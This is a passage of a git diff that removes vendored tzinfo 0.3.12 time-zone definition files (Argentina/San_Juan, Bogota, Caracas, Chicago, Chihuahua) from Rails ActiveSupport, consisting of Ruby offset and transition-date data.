-            tz.transition 1963, 10, :o2, 19506429, 8
-            tz.transition 1963, 12, :o3, 7315136, 3
-            tz.transition 1964, 3, :o2, 19507645, 8
-            tz.transition 1964, 10, :o3, 7316051, 3
-            tz.transition 1965, 3, :o2, 19510565, 8
-            tz.transition 1965, 10, :o3, 7317146, 3
-            tz.transition 1966, 3, :o2, 19513485, 8
-            tz.transition 1966, 10, :o3, 7318241, 3
-            tz.transition 1967, 4, :o2, 19516661, 8
-            tz.transition 1967, 10, :o3, 7319294, 3
-            tz.transition 1968, 4, :o2, 19519629, 8
-            tz.transition 1968, 10, :o3, 7320407, 3
-            tz.transition 1969, 4, :o2, 19522541, 8
-            tz.transition 1969, 10, :o4, 7321499, 3
-            tz.transition 1974, 1, :o5, 128142000
-            tz.transition 1974, 5, :o4, 136605600
-            tz.transition 1988, 12, :o5, 596948400
-            tz.transition 1989, 3, :o4, 605066400
-            tz.transition 1989, 10, :o5, 624423600
-            tz.transition 1990, 3, :o4, 636516000
-            tz.transition 1990, 10, :o5, 656478000
-            tz.transition 1991, 3, :o4, 667965600
-            tz.transition 1991, 10, :o5, 687927600
-            tz.transition 1992, 3, :o4, 699415200
-            tz.transition 1992, 10, :o5, 719377200
-            tz.transition 1993, 3, :o4, 731469600
-            tz.transition 1999, 10, :o3, 938919600
-            tz.transition 2000, 3, :o4, 952052400
-            tz.transition 2007, 12, :o5, 1198983600
-            tz.transition 2008, 3, :o4, 1205632800
-            tz.transition 2008, 10, :o5, 1224385200
-            tz.transition 2009, 3, :o4, 1237082400
-            tz.transition 2009, 10, :o5, 1255834800
-            tz.transition 2010, 3, :o4, 1269136800
-            tz.transition 2010, 10, :o5, 1287284400
-            tz.transition 2011, 3, :o4, 1300586400
-            tz.transition 2011, 10, :o5, 1318734000
-            tz.transition 2012, 3, :o4, 1332036000
-            tz.transition 2012, 10, :o5, 1350788400
-            tz.transition 2013, 3, :o4, 1363485600
-            tz.transition 2013, 10, :o5, 1382238000
-            tz.transition 2014, 3, :o4, 1394935200
-            tz.transition 2014, 10, :o5, 1413687600
-            tz.transition 2015, 3, :o4, 1426384800
-            tz.transition 2015, 10, :o5, 1445137200
-            tz.transition 2016, 3, :o4, 1458439200
-            tz.transition 2016, 10, :o5, 1476586800
-            tz.transition 2017, 3, :o4, 1489888800
-            tz.transition 2017, 10, :o5, 1508036400
-            tz.transition 2018, 3, :o4, 1521338400
-            tz.transition 2018, 10, :o5, 1540090800
-            tz.transition 2019, 3, :o4, 1552788000
-            tz.transition 2019, 10, :o5, 1571540400
-            tz.transition 2020, 3, :o4, 1584237600
-            tz.transition 2020, 10, :o5, 1602990000
-            tz.transition 2021, 3, :o4, 1616292000
-            tz.transition 2021, 10, :o5, 1634439600
-            tz.transition 2022, 3, :o4, 1647741600
-            tz.transition 2022, 10, :o5, 1665889200
-            tz.transition 2023, 3, :o4, 1679191200
-            tz.transition 2023, 10, :o5, 1697338800
-            tz.transition 2024, 3, :o4, 1710640800
-            tz.transition 2024, 10, :o5, 1729393200
-            tz.transition 2025, 3, :o4, 1742090400
-            tz.transition 2025, 10, :o5, 1760842800
-            tz.transition 2026, 3, :o4, 1773540000
-            tz.transition 2026, 10, :o5, 1792292400
-            tz.transition 2027, 3, :o4, 1805594400
-            tz.transition 2027, 10, :o5, 1823742000
-            tz.transition 2028, 3, :o4, 1837044000
-            tz.transition 2028, 10, :o5, 1855191600
-            tz.transition 2029, 3, :o4, 1868493600
-            tz.transition 2029, 10, :o5, 1887246000
-            tz.transition 2030, 3, :o4, 1899943200
-            tz.transition 2030, 10, :o5, 1918695600
-            tz.transition 2031, 3, :o4, 1931392800
-            tz.transition 2031, 10, :o5, 1950145200
-            tz.transition 2032, 3, :o4, 1963447200
-            tz.transition 2032, 10, :o5, 1981594800
-            tz.transition 2033, 3, :o4, 1994896800
-            tz.transition 2033, 10, :o5, 2013044400
-            tz.transition 2034, 3, :o4, 2026346400
-            tz.transition 2034, 10, :o5, 2044494000
-            tz.transition 2035, 3, :o4, 2057796000
-            tz.transition 2035, 10, :o5, 2076548400
-            tz.transition 2036, 3, :o4, 2089245600
-            tz.transition 2036, 10, :o5, 2107998000
-            tz.transition 2037, 3, :o4, 2120695200
-            tz.transition 2037, 10, :o5, 2139447600
-            tz.transition 2038, 3, :o4, 29586043, 12
-            tz.transition 2038, 10, :o5, 19725709, 8
-            tz.transition 2039, 3, :o4, 29590411, 12
-            tz.transition 2039, 10, :o5, 19728621, 8
-            tz.transition 2040, 3, :o4, 29594779, 12
-            tz.transition 2040, 10, :o5, 19731589, 8
-            tz.transition 2041, 3, :o4, 29599147, 12
-            tz.transition 2041, 10, :o5, 19734501, 8
-            tz.transition 2042, 3, :o4, 29603515, 12
-            tz.transition 2042, 10, :o5, 19737413, 8
-            tz.transition 2043, 3, :o4, 29607883, 12
-            tz.transition 2043, 10, :o5, 19740325, 8
-            tz.transition 2044, 3, :o4, 29612335, 12
-            tz.transition 2044, 10, :o5, 19743237, 8
-            tz.transition 2045, 3, :o4, 29616703, 12
-            tz.transition 2045, 10, :o5, 19746149, 8
-            tz.transition 2046, 3, :o4, 29621071, 12
-            tz.transition 2046, 10, :o5, 19749117, 8
-            tz.transition 2047, 3, :o4, 29625439, 12
-            tz.transition 2047, 10, :o5, 19752029, 8
-            tz.transition 2048, 3, :o4, 29629807, 12
-            tz.transition 2048, 10, :o5, 19754941, 8
-            tz.transition 2049, 3, :o4, 29634259, 12
-            tz.transition 2049, 10, :o5, 19757853, 8
-            tz.transition 2050, 3, :o4, 29638627, 12
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Argentina/San_Juan.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Argentina/San_Juan.rb
deleted file mode 100644
index ba8be470..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Argentina/San_Juan.rb
+++ /dev/null
@@ -1,86 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module America
-      module Argentina
-        module San_Juan
-          include TimezoneDefinition
-          
-          timezone 'America/Argentina/San_Juan' do |tz|
-            tz.offset :o0, -16444, 0, :LMT
-            tz.offset :o1, -15408, 0, :CMT
-            tz.offset :o2, -14400, 0, :ART
-            tz.offset :o3, -14400, 3600, :ARST
-            tz.offset :o4, -10800, 0, :ART
-            tz.offset :o5, -10800, 3600, :ARST
-            tz.offset :o6, -14400, 0, :WART
-            
-            tz.transition 1894, 10, :o1, 52123666111, 21600
-            tz.transition 1920, 5, :o2, 1453467407, 600
-            tz.transition 1930, 12, :o3, 7278935, 3
-            tz.transition 1931, 4, :o2, 19411461, 8
-            tz.transition 1931, 10, :o3, 7279889, 3
-            tz.transition 1932, 3, :o2, 19414141, 8
-            tz.transition 1932, 11, :o3, 7281038, 3
-            tz.transition 1933, 3, :o2, 19417061, 8
-            tz.transition 1933, 11, :o3, 7282133, 3
-            tz.transition 1934, 3, :o2, 19419981, 8
-            tz.transition 1934, 11, :o3, 7283228, 3
-            tz.transition 1935, 3, :o2, 19422901, 8
-            tz.transition 1935, 11, :o3, 7284323, 3
-            tz.transition 1936, 3, :o2, 19425829, 8
-            tz.transition 1936, 11, :o3, 7285421, 3
-            tz.transition 1937, 3, :o2, 19428749, 8
-            tz.transition 1937, 11, :o3, 7286516, 3
-            tz.transition 1938, 3, :o2, 19431669, 8
-            tz.transition 1938, 11, :o3, 7287611, 3
-            tz.transition 1939, 3, :o2, 19434589, 8
-            tz.transition 1939, 11, :o3, 7288706, 3
-            tz.transition 1940, 3, :o2, 19437517, 8
-            tz.transition 1940, 7, :o3, 7289435, 3
-            tz.transition 1941, 6, :o2, 19441285, 8
-            tz.transition 1941, 10, :o3, 7290848, 3
-            tz.transition 1943, 8, :o2, 19447501, 8
-            tz.transition 1943, 10, :o3, 7293038, 3
-            tz.transition 1946, 3, :o2, 19455045, 8
-            tz.transition 1946, 10, :o3, 7296284, 3
-            tz.transition 1963, 10, :o2, 19506429, 8
-            tz.transition 1963, 12, :o3, 7315136, 3
-            tz.transition 1964, 3, :o2, 19507645, 8
-            tz.transition 1964, 10, :o3, 7316051, 3
-            tz.transition 1965, 3, :o2, 19510565, 8
-            tz.transition 1965, 10, :o3, 7317146, 3
-            tz.transition 1966, 3, :o2, 19513485, 8
-            tz.transition 1966, 10, :o3, 7318241, 3
-            tz.transition 1967, 4, :o2, 19516661, 8
-            tz.transition 1967, 10, :o3, 7319294, 3
-            tz.transition 1968, 4, :o2, 19519629, 8
-            tz.transition 1968, 10, :o3, 7320407, 3
-            tz.transition 1969, 4, :o2, 19522541, 8
-            tz.transition 1969, 10, :o4, 7321499, 3
-            tz.transition 1974, 1, :o5, 128142000
-            tz.transition 1974, 5, :o4, 136605600
-            tz.transition 1988, 12, :o5, 596948400
-            tz.transition 1989, 3, :o4, 605066400
-            tz.transition 1989, 10, :o5, 624423600
-            tz.transition 1990, 3, :o4, 636516000
-            tz.transition 1990, 10, :o5, 656478000
-            tz.transition 1991, 3, :o6, 667792800
-            tz.transition 1991, 5, :o4, 673588800
-            tz.transition 1991, 10, :o5, 687927600
-            tz.transition 1992, 3, :o4, 699415200
-            tz.transition 1992, 10, :o5, 719377200
-            tz.transition 1993, 3, :o4, 731469600
-            tz.transition 1999, 10, :o3, 938919600
-            tz.transition 2000, 3, :o4, 952052400
-            tz.transition 2004, 5, :o6, 1085972400
-            tz.transition 2004, 7, :o4, 1090728000
-            tz.transition 2007, 12, :o5, 1198983600
-            tz.transition 2008, 3, :o4, 1205632800
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Bogota.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Bogota.rb
deleted file mode 100644
index ef96435c..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Bogota.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module America
-      module Bogota
-        include TimezoneDefinition
-        
-        timezone 'America/Bogota' do |tz|
-          tz.offset :o0, -17780, 0, :LMT
-          tz.offset :o1, -17780, 0, :BMT
-          tz.offset :o2, -18000, 0, :COT
-          tz.offset :o3, -18000, 3600, :COST
-          
-          tz.transition 1884, 3, :o1, 10407954409, 4320
-          tz.transition 1914, 11, :o2, 10456385929, 4320
-          tz.transition 1992, 5, :o3, 704869200
-          tz.transition 1993, 4, :o2, 733896000
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Caracas.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Caracas.rb
deleted file mode 100644
index 27392a54..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Caracas.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module America
-      module Caracas
-        include TimezoneDefinition
-        
-        timezone 'America/Caracas' do |tz|
-          tz.offset :o0, -16064, 0, :LMT
-          tz.offset :o1, -16060, 0, :CMT
-          tz.offset :o2, -16200, 0, :VET
-          tz.offset :o3, -14400, 0, :VET
-          
-          tz.transition 1890, 1, :o1, 1627673863, 675
-          tz.transition 1912, 2, :o2, 10452001043, 4320
-          tz.transition 1965, 1, :o3, 39020187, 16
-          tz.transition 2007, 12, :o2, 1197183600
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Chicago.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Chicago.rb
deleted file mode 100644
index 0996857c..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Chicago.rb
+++ /dev/null
@@ -1,283 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module America
-      module Chicago
-        include TimezoneDefinition
-        
-        timezone 'America/Chicago' do |tz|
-          tz.offset :o0, -21036, 0, :LMT
-          tz.offset :o1, -21600, 0, :CST
-          tz.offset :o2, -21600, 3600, :CDT
-          tz.offset :o3, -18000, 0, :EST
-          tz.offset :o4, -21600, 3600, :CWT
-          tz.offset :o5, -21600, 3600, :CPT
-          
-          tz.transition 1883, 11, :o1, 9636533, 4
-          tz.transition 1918, 3, :o2, 14530103, 6
-          tz.transition 1918, 10, :o1, 58125451, 24
-          tz.transition 1919, 3, :o2, 14532287, 6
-          tz.transition 1919, 10, :o1, 58134187, 24
-          tz.transition 1920, 6, :o2, 14534933, 6
-          tz.transition 1920, 10, :o1, 58143091, 24
-          tz.transition 1921, 3, :o2, 14536655, 6
-          tz.transition 1921, 10, :o1, 58151827, 24
-          tz.transition 1922, 4, :o2, 14539049, 6
-          tz.transition 1922, 9, :o1, 58159723, 24
-          tz.transition 1923, 4, :o2, 14541233, 6
-          tz.transition 1923, 9, :o1, 58168627, 24
-          tz.transition 1924, 4, :o2, 14543417, 6
-          tz.transition 1924, 9, :o1, 58177363, 24
-          tz.transition 1925, 4, :o2, 14545601, 6
-          tz.transition 1925, 9, :o1, 58186099, 24
-          tz.transition 1926, 4, :o2, 14547785, 6
-          tz.transition 1926, 9, :o1, 58194835, 24
-          tz.transition 1927, 4, :o2, 14549969, 6
-          tz.transition 1927, 9, :o1, 58203571, 24
-          tz.transition 1928, 4, :o2, 14552195, 6
-          tz.transition 1928, 9, :o1, 58212475, 24
-          tz.transition 1929, 4, :o2, 14554379, 6
-          tz.transition 1929, 9, :o1, 58221211, 24
-          tz.transition 1930, 4, :o2, 14556563, 6
-          tz.transition 1930, 9, :o1, 58229947, 24
-          tz.transition 1931, 4, :o2, 14558747, 6
-          tz.transition 1931, 9, :o1, 58238683, 24
-          tz.transition 1932, 4, :o2, 14560931, 6
-          tz.transition 1932, 9, :o1, 58247419, 24
-          tz.transition 1933, 4, :o2, 14563157, 6
-          tz.transition 1933, 9, :o1, 58256155, 24
-          tz.transition 1934, 4, :o2, 14565341, 6
-          tz.transition 1934, 9, :o1, 58265059, 24
-          tz.transition 1935, 4, :o2, 14567525, 6
-          tz.transition 1935, 9, :o1, 58273795, 24
-          tz.transition 1936, 3, :o3, 14569373, 6
-          tz.transition 1936, 11, :o1, 58283707, 24
-          tz.transition 1937, 4, :o2, 14571893, 6
-          tz.transition 1937, 9, :o1, 58291267, 24
-          tz.transition 1938, 4, :o2, 14574077, 6
-          tz.transition 1938, 9, :o1, 58300003, 24
-          tz.transition 1939, 4, :o2, 14576303, 6
-          tz.transition 1939, 9, :o1, 58308739, 24
-          tz.transition 1940, 4, :o2, 14578487, 6
-          tz.transition 1940, 9, :o1, 58317643, 24
-          tz.transition 1941, 4, :o2, 14580671, 6
-          tz.transition 1941, 9, :o1, 58326379, 24
-          tz.transition 1942, 2, :o4, 14582399, 6
-          tz.transition 1945, 8, :o5, 58360379, 24
-          tz.transition 1945, 9, :o1, 58361491, 24
-          tz.transition 1946, 4, :o2, 14591633, 6
-          tz.transition 1946, 9, :o1, 58370227, 24
-          tz.transition 1947, 4, :o2, 14593817, 6
-          tz.transition 1947, 9, :o1, 58378963, 24
-          tz.transition 1948, 4, :o2, 14596001, 6
-          tz.transition 1948, 9, :o1, 58387699, 24
-          tz.transition 1949, 4, :o2, 14598185, 6
-          tz.transition 1949, 9, :o1, 58396435, 24
-          tz.transition 1950, 4, :o2, 14600411, 6
-          tz.transition 1950, 9, :o1, 58405171, 24
-          tz.transition 1951, 4, :o2, 14602595, 6
-          tz.transition 1951, 9, :o1, 58414075, 24
-          tz.transition 1952, 4, :o2, 14604779, 6
-          tz.transition 1952, 9, :o1, 58422811, 24
-          tz.transition 1953, 4, :o2, 14606963, 6
-          tz.transition 1953, 9, :o1, 58431547, 24
-          tz.transition 1954, 4, :o2, 14609147, 6
-          tz.transition 1954, 9, :o1, 58440283, 24
-          tz.transition 1955, 4, :o2, 14611331, 6
-          tz.transition 1955, 10, :o1, 58449859, 24
-          tz.transition 1956, 4, :o2, 14613557, 6
-          tz.transition 1956, 10, :o1, 58458595, 24
-          tz.transition 1957, 4, :o2, 14615741, 6
-          tz.transition 1957, 10, :o1, 58467331, 24
-          tz.transition 1958, 4, :o2, 14617925, 6
-          tz.transition 1958, 10, :o1, 58476067, 24
-          tz.transition 1959, 4, :o2, 14620109, 6
-          tz.transition 1959, 10, :o1, 58484803, 24
-          tz.transition 1960, 4, :o2, 14622293, 6
-          tz.transition 1960, 10, :o1, 58493707, 24
-          tz.transition 1961, 4, :o2, 14624519, 6
-          tz.transition 1961, 10, :o1, 58502443, 24
-          tz.transition 1962, 4, :o2, 14626703, 6
-          tz.transition 1962, 10, :o1, 58511179, 24
-          tz.transition 1963, 4, :o2, 14628887, 6
-          tz.transition 1963, 10, :o1, 58519915, 24
-          tz.transition 1964, 4, :o2, 14631071, 6
-          tz.transition 1964, 10, :o1, 58528651, 24
-          tz.transition 1965, 4, :o2, 14633255, 6
-          tz.transition 1965, 10, :o1, 58537555, 24
-          tz.transition 1966, 4, :o2, 14635439, 6
-          tz.transition 1966, 10, :o1, 58546291, 24
-          tz.transition 1967, 4, :o2, 14637665, 6
-          tz.transition 1967, 10, :o1, 58555027, 24
-          tz.transition 1968, 4, :o2, 14639849, 6
-          tz.transition 1968, 10, :o1, 58563763, 24
-          tz.transition 1969, 4, :o2, 14642033, 6
-          tz.transition 1969, 10, :o1, 58572499, 24
-          tz.transition 1970, 4, :o2, 9964800
-          tz.transition 1970, 10, :o1, 25686000
-          tz.transition 1971, 4, :o2, 41414400
-          tz.transition 1971, 10, :o1, 57740400
-          tz.transition 1972, 4, :o2, 73468800
-          tz.transition 1972, 10, :o1, 89190000
-          tz.transition 1973, 4, :o2, 104918400
-          tz.transition 1973, 10, :o1, 120639600
-          tz.transition 1974, 1, :o2, 126691200
-          tz.transition 1974, 10, :o1, 152089200
-          tz.transition 1975, 2, :o2, 162374400
-          tz.transition 1975, 10, :o1, 183538800
-          tz.transition 1976, 4, :o2, 199267200
-          tz.transition 1976, 10, :o1, 215593200
-          tz.transition 1977, 4, :o2, 230716800
-          tz.transition 1977, 10, :o1, 247042800
-          tz.transition 1978, 4, :o2, 262771200
-          tz.transition 1978, 10, :o1, 278492400
-          tz.transition 1979, 4, :o2, 294220800
-          tz.transition 1979, 10, :o1, 309942000
-          tz.transition 1980, 4, :o2, 325670400
-          tz.transition 1980, 10, :o1, 341391600
-          tz.transition 1981, 4, :o2, 357120000
-          tz.transition 1981, 10, :o1, 372841200
-          tz.transition 1982, 4, :o2, 388569600
-          tz.transition 1982, 10, :o1, 404895600
-          tz.transition 1983, 4, :o2, 420019200
-          tz.transition 1983, 10, :o1, 436345200
-          tz.transition 1984, 4, :o2, 452073600
-          tz.transition 1984, 10, :o1, 467794800
-          tz.transition 1985, 4, :o2, 483523200
-          tz.transition 1985, 10, :o1, 499244400
-          tz.transition 1986, 4, :o2, 514972800
-          tz.transition 1986, 10, :o1, 530694000
-          tz.transition 1987, 4, :o2, 544608000
-          tz.transition 1987, 10, :o1, 562143600
-          tz.transition 1988, 4, :o2, 576057600
-          tz.transition 1988, 10, :o1, 594198000
-          tz.transition 1989, 4, :o2, 607507200
-          tz.transition 1989, 10, :o1, 625647600
-          tz.transition 1990, 4, :o2, 638956800
-          tz.transition 1990, 10, :o1, 657097200
-          tz.transition 1991, 4, :o2, 671011200
-          tz.transition 1991, 10, :o1, 688546800
-          tz.transition 1992, 4, :o2, 702460800
-          tz.transition 1992, 10, :o1, 719996400
-          tz.transition 1993, 4, :o2, 733910400
-          tz.transition 1993, 10, :o1, 752050800
-          tz.transition 1994, 4, :o2, 765360000
-          tz.transition 1994, 10, :o1, 783500400
-          tz.transition 1995, 4, :o2, 796809600
-          tz.transition 1995, 10, :o1, 814950000
-          tz.transition 1996, 4, :o2, 828864000
-          tz.transition 1996, 10, :o1, 846399600
-          tz.transition 1997, 4, :o2, 860313600
-          tz.transition 1997, 10, :o1, 877849200
-          tz.transition 1998, 4, :o2, 891763200
-          tz.transition 1998, 10, :o1, 909298800
-          tz.transition 1999, 4, :o2, 923212800
-          tz.transition 1999, 10, :o1, 941353200
-          tz.transition 2000, 4, :o2, 954662400
-          tz.transition 2000, 10, :o1, 972802800
-          tz.transition 2001, 4, :o2, 986112000
-          tz.transition 2001, 10, :o1, 1004252400
-          tz.transition 2002, 4, :o2, 1018166400
-          tz.transition 2002, 10, :o1, 1035702000
-          tz.transition 2003, 4, :o2, 1049616000
-          tz.transition 2003, 10, :o1, 1067151600
-          tz.transition 2004, 4, :o2, 1081065600
-          tz.transition 2004, 10, :o1, 1099206000
-          tz.transition 2005, 4, :o2, 1112515200
-          tz.transition 2005, 10, :o1, 1130655600
-          tz.transition 2006, 4, :o2, 1143964800
-          tz.transition 2006, 10, :o1, 1162105200
-          tz.transition 2007, 3, :o2, 1173600000
-          tz.transition 2007, 11, :o1, 1194159600
-          tz.transition 2008, 3, :o2, 1205049600
-          tz.transition 2008, 11, :o1, 1225609200
-          tz.transition 2009, 3, :o2, 1236499200
-          tz.transition 2009, 11, :o1, 1257058800
-          tz.transition 2010, 3, :o2, 1268553600
-          tz.transition 2010, 11, :o1, 1289113200
-          tz.transition 2011, 3, :o2, 1300003200
-          tz.transition 2011, 11, :o1, 1320562800
-          tz.transition 2012, 3, :o2, 1331452800
-          tz.transition 2012, 11, :o1, 1352012400
-          tz.transition 2013, 3, :o2, 1362902400
-          tz.transition 2013, 11, :o1, 1383462000
-          tz.transition 2014, 3, :o2, 1394352000
-          tz.transition 2014, 11, :o1, 1414911600
-          tz.transition 2015, 3, :o2, 1425801600
-          tz.transition 2015, 11, :o1, 1446361200
-          tz.transition 2016, 3, :o2, 1457856000
-          tz.transition 2016, 11, :o1, 1478415600
-          tz.transition 2017, 3, :o2, 1489305600
-          tz.transition 2017, 11, :o1, 1509865200
-          tz.transition 2018, 3, :o2, 1520755200
-          tz.transition 2018, 11, :o1, 1541314800
-          tz.transition 2019, 3, :o2, 1552204800
-          tz.transition 2019, 11, :o1, 1572764400
-          tz.transition 2020, 3, :o2, 1583654400
-          tz.transition 2020, 11, :o1, 1604214000
-          tz.transition 2021, 3, :o2, 1615708800
-          tz.transition 2021, 11, :o1, 1636268400
-          tz.transition 2022, 3, :o2, 1647158400
-          tz.transition 2022, 11, :o1, 1667718000
-          tz.transition 2023, 3, :o2, 1678608000
-          tz.transition 2023, 11, :o1, 1699167600
-          tz.transition 2024, 3, :o2, 1710057600
-          tz.transition 2024, 11, :o1, 1730617200
-          tz.transition 2025, 3, :o2, 1741507200
-          tz.transition 2025, 11, :o1, 1762066800
-          tz.transition 2026, 3, :o2, 1772956800
-          tz.transition 2026, 11, :o1, 1793516400
-          tz.transition 2027, 3, :o2, 1805011200
-          tz.transition 2027, 11, :o1, 1825570800
-          tz.transition 2028, 3, :o2, 1836460800
-          tz.transition 2028, 11, :o1, 1857020400
-          tz.transition 2029, 3, :o2, 1867910400
-          tz.transition 2029, 11, :o1, 1888470000
-          tz.transition 2030, 3, :o2, 1899360000
-          tz.transition 2030, 11, :o1, 1919919600
-          tz.transition 2031, 3, :o2, 1930809600
-          tz.transition 2031, 11, :o1, 1951369200
-          tz.transition 2032, 3, :o2, 1962864000
-          tz.transition 2032, 11, :o1, 1983423600
-          tz.transition 2033, 3, :o2, 1994313600
-          tz.transition 2033, 11, :o1, 2014873200
-          tz.transition 2034, 3, :o2, 2025763200
-          tz.transition 2034, 11, :o1, 2046322800
-          tz.transition 2035, 3, :o2, 2057212800
-          tz.transition 2035, 11, :o1, 2077772400
-          tz.transition 2036, 3, :o2, 2088662400
-          tz.transition 2036, 11, :o1, 2109222000
-          tz.transition 2037, 3, :o2, 2120112000
-          tz.transition 2037, 11, :o1, 2140671600
-          tz.transition 2038, 3, :o2, 14792981, 6
-          tz.transition 2038, 11, :o1, 59177635, 24
-          tz.transition 2039, 3, :o2, 14795165, 6
-          tz.transition 2039, 11, :o1, 59186371, 24
-          tz.transition 2040, 3, :o2, 14797349, 6
-          tz.transition 2040, 11, :o1, 59195107, 24
-          tz.transition 2041, 3, :o2, 14799533, 6
-          tz.transition 2041, 11, :o1, 59203843, 24
-          tz.transition 2042, 3, :o2, 14801717, 6
-          tz.transition 2042, 11, :o1, 59212579, 24
-          tz.transition 2043, 3, :o2, 14803901, 6
-          tz.transition 2043, 11, :o1, 59221315, 24
-          tz.transition 2044, 3, :o2, 14806127, 6
-          tz.transition 2044, 11, :o1, 59230219, 24
-          tz.transition 2045, 3, :o2, 14808311, 6
-          tz.transition 2045, 11, :o1, 59238955, 24
-          tz.transition 2046, 3, :o2, 14810495, 6
-          tz.transition 2046, 11, :o1, 59247691, 24
-          tz.transition 2047, 3, :o2, 14812679, 6
-          tz.transition 2047, 11, :o1, 59256427, 24
-          tz.transition 2048, 3, :o2, 14814863, 6
-          tz.transition 2048, 11, :o1, 59265163, 24
-          tz.transition 2049, 3, :o2, 14817089, 6
-          tz.transition 2049, 11, :o1, 59274067, 24
-          tz.transition 2050, 3, :o2, 14819273, 6
-          tz.transition 2050, 11, :o1, 59282803, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Chihuahua.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Chihuahua.rb
deleted file mode 100644
index 1710b57c..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Chihuahua.rb
+++ /dev/null
@@ -1,136 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module America
-      module Chihuahua
-        include TimezoneDefinition
-        
-        timezone 'America/Chihuahua' do |tz|
-          tz.offset :o0, -25460, 0, :LMT
-          tz.offset :o1, -25200, 0, :MST
-          tz.offset :o2, -21600, 0, :CST
-          tz.offset :o3, -21600, 3600, :CDT
-          tz.offset :o4, -25200, 3600, :MDT
-          
-          tz.transition 1922, 1, :o1, 58153339, 24
-          tz.transition 1927, 6, :o2, 9700171, 4
-          tz.transition 1930, 11, :o1, 9705183, 4
-          tz.transition 1931, 5, :o2, 9705855, 4
-          tz.transition 1931, 10, :o1, 9706463, 4
-          tz.transition 1932, 4, :o2, 58243171, 24
-          tz.transition 1996, 4, :o3, 828864000
-          tz.transition 1996, 10, :o2, 846399600
-          tz.transition 1997, 4, :o3, 860313600
-          tz.transition 1997, 10, :o2, 877849200
-          tz.transition 1998, 4, :o4, 891766800
-          tz.transition 1998, 10, :o1, 909302400
-          tz.transition 1999, 4, :o4, 923216400
-          tz.transition 1999, 10, :o1, 941356800
-          tz.transition 2000, 4, :o4, 954666000
-          tz.transition 2000, 10, :o1, 972806400
-          tz.transition 2001, 5, :o4, 989139600
-          tz.transition 2001, 9, :o1, 1001836800
-          tz.transition 2002, 4, :o4, 1018170000
-          tz.transition 2002, 10, :o1, 1035705600
-          tz.transition 2003, 4, :o4, 1049619600
-          tz.transition 2003, 10, :o1, 1067155200
-          tz.transition 2004, 4, :o4, 1081069200
-          tz.transition 2004, 10, :o1, 1099209600
-          tz.transition 2005, 4, :o4, 1112518800
-          tz.transition 2005, 10, :o1, 1130659200
-          tz.transition 2006, 4, :o4, 1143968400
-          tz.transition 2006, 10, :o1, 1162108800
-          tz.transition 2007, 4, :o4, 1175418000
-          tz.transition 2007, 10, :o1, 1193558400
-          tz.transition 2008, 4, :o4, 1207472400
-          tz.transition 2008, 10, :o1, 1225008000
-          tz.transition 2009, 4, :o4, 1238922000
-          tz.transition 2009, 10, :o1, 1256457600
-          tz.transition 2010, 4, :o4, 1270371600
-          tz.transition 2010, 10, :o1, 1288512000
-          tz.transition 2011, 4, :o4, 1301821200
-          tz.transition 2011, 10, :o1, 1319961600
-          tz.transition 2012, 4, :o4, 1333270800
-          tz.transition 2012, 10, :o1, 1351411200
-          tz.transition 2013, 4, :o4, 1365325200
-          tz.transition 2013, 10, :o1, 1382860800
-          tz.transition 2014, 4, :o4, 1396774800
-          tz.transition 2014, 10, :o1, 1414310400
-          tz.transition 2015, 4, :o4, 1428224400
-          tz.transition 2015, 10, :o1, 1445760000
-          tz.transition 2016, 4, :o4, 1459674000
-          tz.transition 2016, 10, :o1, 1477814400
-          tz.transition 2017, 4, :o4, 1491123600
-          tz.transition 2017, 10, :o1, 1509264000
-          tz.transition 2018, 4, :o4, 1522573200
-          tz.transition 2018, 10, :o1, 1540713600
-          tz.transition 2019, 4, :o4, 1554627600
-          tz.transition 2019, 10, :o1, 1572163200
-          tz.transition 2020, 4, :o4, 1586077200
-          tz.transition 2020, 10, :o1, 1603612800
-          tz.transition 2021, 4, :o4, 1617526800
-          tz.transition 2021, 10, :o1, 1635667200
-          tz.transition 2022, 4, :o4, 1648976400
-          tz.transition 2022, 10, :o1, 1667116800
-          tz.transition 2023, 4, :o4, 1680426000
-          tz.transition 2023, 10, :o1, 1698566400
-          tz.transition 2024, 4, :o4, 1712480400
-          tz.transition 2024, 10, :o1, 1730016000
-          tz.transition 2025, 4, :o4, 1743930000
-          tz.transition 2025, 10, :o1, 1761465600
-          tz.transition 2026, 4, :o4, 1775379600
-          tz.transition 2026, 10, :o1, 1792915200
-          tz.transition 2027, 4, :o4, 1806829200
